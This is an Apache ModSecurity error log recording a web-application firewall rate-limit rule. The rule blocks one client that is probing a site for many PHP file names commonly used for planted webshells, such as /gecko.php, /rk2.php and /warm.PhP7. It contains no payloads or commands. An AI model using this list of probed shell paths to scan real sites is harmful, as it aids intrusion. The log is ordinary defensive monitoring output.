[Thu Jan 08 23:27:10.511854 2026] [:error] [pid 2484:tid 2509] [client 74.225.203.54:46240] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aV_MzjiDlnlaQQK_AEO0yAAAAVU"]
[Thu Jan 08 23:27:10.991685 2026] [:error] [pid 2484:tid 2499] [client 74.225.203.54:18669] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aV_MzjiDlnlaQQK_AEO0ywAAAUw"]
[Thu Jan 08 23:27:11.552494 2026] [:error] [pid 2424:tid 2438] [client 74.225.203.54:46253] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aV_Mz7TDJR8aofkBk9RMrQAAAQw"]
[Thu Jan 08 23:27:11.970436 2026] [:error] [pid 2424:tid 2445] [client 74.225.203.54:18462] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aV_Mz7TDJR8aofkBk9RMrwAAARM"]
[Thu Jan 08 23:27:12.460902 2026] [:error] [pid 15265:tid 15332] [client 74.225.203.54:18674] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aV_M0KE6VBKhew2LTFRmQQAAAIY"]
[Thu Jan 08 23:27:12.872880 2026] [:error] [pid 15263:tid 15289] [client 74.225.203.54:46310] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aV_M0Nv61bxum7WG_e8cgAAAABE"]
[Thu Jan 08 23:27:13.250639 2026] [:error] [pid 2484:tid 2494] [client 74.225.203.54:31023] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aV_M0TiDlnlaQQK_AEO0zwAAAUc"]
[Thu Jan 08 23:27:13.684420 2026] [:error] [pid 15264:tid 15309] [client 74.225.203.54:30959] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aV_M0Yov6_kvS0Owh-oqDQAAAEo"]
[Thu Jan 08 23:27:14.200727 2026] [:error] [pid 7586:tid 7611] [client 74.225.203.54:46216] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aV_M0sJyk37GdXP5TmWGTQAAAdU"]
[Thu Jan 08 23:27:14.973563 2026] [:error] [pid 15265:tid 15340] [client 74.225.203.54:18634] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aV_M0qE6VBKhew2LTFRmQgAAAI4"]
[Thu Jan 08 23:27:15.771481 2026] [:error] [pid 7586:tid 7596] [client 74.225.203.54:30942] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aV_M08Jyk37GdXP5TmWGUQAAAcg"]
[Thu Jan 08 23:27:16.564977 2026] [:error] [pid 15358:tid 15370] [client 74.225.203.54:31021] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aV_M1CoRk9xWJ3toSBKcAgAAAMA"]
[Thu Jan 08 23:27:17.035295 2026] [:error] [pid 15358:tid 15381] [client 74.225.203.54:46238] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aV_M1SoRk9xWJ3toSBKcAwAAAMs"]
[Thu Jan 08 23:27:17.842050 2026] [:error] [pid 15358:tid 15388] [client 74.225.203.54:30966] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aV_M1SoRk9xWJ3toSBKcBAAAANI"]
[Thu Jan 08 23:27:18.273064 2026] [:error] [pid 2484:tid 2488] [client 74.225.203.54:30967] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aV_M1jiDlnlaQQK_AEO01AAAAUI"]
[Thu Jan 08 23:27:18.860154 2026] [:error] [pid 2424:tid 2432] [client 74.225.203.54:46241] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aV_M1rTDJR8aofkBk9RMuwAAAQY"]
[Thu Jan 08 23:27:19.677817 2026] [:error] [pid 15263:tid 15296] [client 74.225.203.54:30938] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aV_M19v61bxum7WG_e8chAAAABg"]
[Thu Jan 08 23:27:20.435412 2026] [:error] [pid 7586:tid 7599] [client 74.225.203.54:18651] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV_M2MJyk37GdXP5TmWGVgAAAcs"]
[Thu Jan 08 23:27:20.963593 2026] [:error] [pid 15265:tid 15341] [client 74.225.203.54:46262] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV_M2KE6VBKhew2LTFRmRgAAAI8"]
[Thu Jan 08 23:27:21.480689 2026] [:error] [pid 15265:tid 15328] [client 74.225.203.54:30935] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV_M2aE6VBKhew2LTFRmRwAAAII"]
[Thu Jan 08 23:27:22.103852 2026] [:error] [pid 15264:tid 15319] [client 74.225.203.54:31027] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV_M2oov6_kvS0Owh-oqDwAAAFQ"]
[Thu Jan 08 23:27:22.534511 2026] [:error] [pid 15264:tid 15318] [client 74.225.203.54:46233] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aV_M2oov6_kvS0Owh-oqEAAAAFM"]
[Thu Jan 08 23:27:24.134682 2026] [:error] [pid 15263:tid 15283] [client 74.225.203.54:30948] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aV_M3Nv61bxum7WG_e8chwAAAAs"]
[Thu Jan 08 23:27:25.152235 2026] [:error] [pid 17404:tid 17409] [client 74.225.203.54:18439] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aV_M3WVd_oH193N6AnXZNgAAAYM"]
[Thu Jan 08 23:27:26.000469 2026] [:error] [pid 15263:tid 15292] [client 74.225.203.54:46256] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aV_M3dv61bxum7WG_e8cjAAAABQ"]
[Thu Jan 08 23:27:26.420268 2026] [:error] [pid 15264:tid 15314] [client 74.225.203.54:30920] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV_M3oov6_kvS0Owh-oqFgAAAE8"]
[Thu Jan 08 23:27:27.174074 2026] [:error] [pid 15264:tid 15307] [client 74.225.203.54:18657] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV_M34ov6_kvS0Owh-oqFwAAAEg"]
[Thu Jan 08 23:27:27.707748 2026] [:error] [pid 15358:tid 15378] [client 74.225.203.54:30927] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV_M3yoRk9xWJ3toSBKcCgAAAMg"]
[Thu Jan 08 23:27:28.155881 2026] [:error] [pid 15358:tid 15391] [client 74.225.203.54:30971] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV_M4CoRk9xWJ3toSBKcCwAAANU"]
[Thu Jan 08 23:27:29.099020 2026] [:error] [pid 15358:tid 15386] [client 74.225.203.54:46332] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV_M4SoRk9xWJ3toSBKcDAAAANA"]
[Thu Jan 08 23:27:29.503611 2026] [:error] [pid 2484:tid 2507] [client 74.225.203.54:18648] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV_M4TiDlnlaQQK_AEO02AAAAVM"]
[Thu Jan 08 23:27:29.962776 2026] [:error] [pid 7586:tid 7603] [client 74.225.203.54:30926] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV_M4cJyk37GdXP5TmWGWAAAAc0"]
[Thu Jan 08 23:27:30.431239 2026] [:error] [pid 7586:tid 7609] [client 74.225.203.54:46228] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV_M4sJyk37GdXP5TmWGWQAAAdM"]
[Thu Jan 08 23:27:30.874214 2026] [:error] [pid 2484:tid 2493] [client 74.225.203.54:46266] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aV_M4jiDlnlaQQK_AEO03AAAAUY"]
[Thu Jan 08 23:27:31.285396 2026] [:error] [pid 15265:tid 15338] [client 74.225.203.54:18641] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aV_M46E6VBKhew2LTFRmSQAAAIw"]
[Thu Jan 08 23:27:31.791165 2026] [:error] [pid 2484:tid 2504] [client 74.225.203.54:18443] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aV_M4ziDlnlaQQK_AEO03gAAAVA"]
[Thu Jan 08 23:27:32.180565 2026] [:error] [pid 15358:tid 15389] [client 74.225.203.54:18660] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aV_M5CoRk9xWJ3toSBKcDgAAANM"]
[Thu Jan 08 23:27:32.532381 2026] [:error] [pid 7586:tid 7594] [client 74.225.203.54:46305] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M5MJyk37GdXP5TmWGWwAAAcY"]
[Thu Jan 08 23:27:32.871452 2026] [:error] [pid 15358:tid 15380] [client 74.225.203.54:31003] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M5CoRk9xWJ3toSBKcEAAAAMo"]
[Thu Jan 08 23:27:33.225229 2026] [:error] [pid 7586:tid 7602] [client 74.225.203.54:18645] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M5cJyk37GdXP5TmWGXgAAAcw"]
[Thu Jan 08 23:27:33.578772 2026] [:error] [pid 7586:tid 7606] [client 74.225.203.54:46279] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M5cJyk37GdXP5TmWGYAAAAdA"]
[Thu Jan 08 23:27:33.932131 2026] [:error] [pid 7586:tid 7607] [client 74.225.203.54:18650] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aV_M5cJyk37GdXP5TmWGYgAAAdE"]
[Thu Jan 08 23:27:34.382227 2026] [:error] [pid 15358:tid 15370] [client 74.225.203.54:18642] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aV_M5ioRk9xWJ3toSBKcEgAAAMA"]
[Thu Jan 08 23:27:34.914715 2026] [:error] [pid 15264:tid 15303] [client 74.225.203.54:18436] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aV_M5oov6_kvS0Owh-oqHgAAAEQ"]
[Thu Jan 08 23:27:35.407079 2026] [:error] [pid 17404:tid 17428] [client 74.225.203.54:18627] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aV_M52Vd_oH193N6AnXZPQAAAZY"]
[Thu Jan 08 23:27:35.720523 2026] [:error] [pid 2484:tid 2512] [client 74.225.203.54:18683] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aV_M5ziDlnlaQQK_AEO03wAAAVg"]
[Thu Jan 08 23:27:36.089389 2026] [:error] [pid 15264:tid 15318] [client 74.225.203.54:46328] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aV_M6Iov6_kvS0Owh-oqHwAAAFM"]
[Thu Jan 08 23:27:36.505775 2026] [:error] [pid 15358:tid 15390] [client 74.225.203.54:18659] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aV_M6CoRk9xWJ3toSBKcFgAAANQ"]
[Thu Jan 08 23:27:36.995125 2026] [:error] [pid 15265:tid 15349] [client 74.225.203.54:18466] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aV_M6KE6VBKhew2LTFRmSgAAAJc"]
[Thu Jan 08 23:27:37.534252 2026] [:error] [pid 7586:tid 7610] [client 74.225.203.54:18628] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aV_M6cJyk37GdXP5TmWGZAAAAdQ"]
[Thu Jan 08 23:27:37.870883 2026] [:error] [pid 17404:tid 17413] [client 74.225.203.54:18637] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aV_M6WVd_oH193N6AnXZPgAAAYc"]
[Thu Jan 08 23:27:38.406223 2026] [:error] [pid 15358:tid 15387] [client 74.225.203.54:46706] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aV_M6ioRk9xWJ3toSBKcGQAAANE"]
[Thu Jan 08 23:27:38.742403 2026] [:error] [pid 7586:tid 7613] [client 74.225.203.54:46293] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aV_M6sJyk37GdXP5TmWGZQAAAdc"]
[Thu Jan 08 23:27:39.239952 2026] [:error] [pid 15358:tid 15391] [client 74.225.203.54:30912] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aV_M6yoRk9xWJ3toSBKcGgAAANU"]
[Thu Jan 08 23:27:39.822681 2026] [:error] [pid 15264:tid 15310] [client 74.225.203.54:18467] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aV_M64ov6_kvS0Owh-oqJAAAAEs"]
[Thu Jan 08 23:27:40.193942 2026] [:error] [pid 2484:tid 2486] [client 74.225.203.54:31019] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aV_M7DiDlnlaQQK_AEO04QAAAUA"]
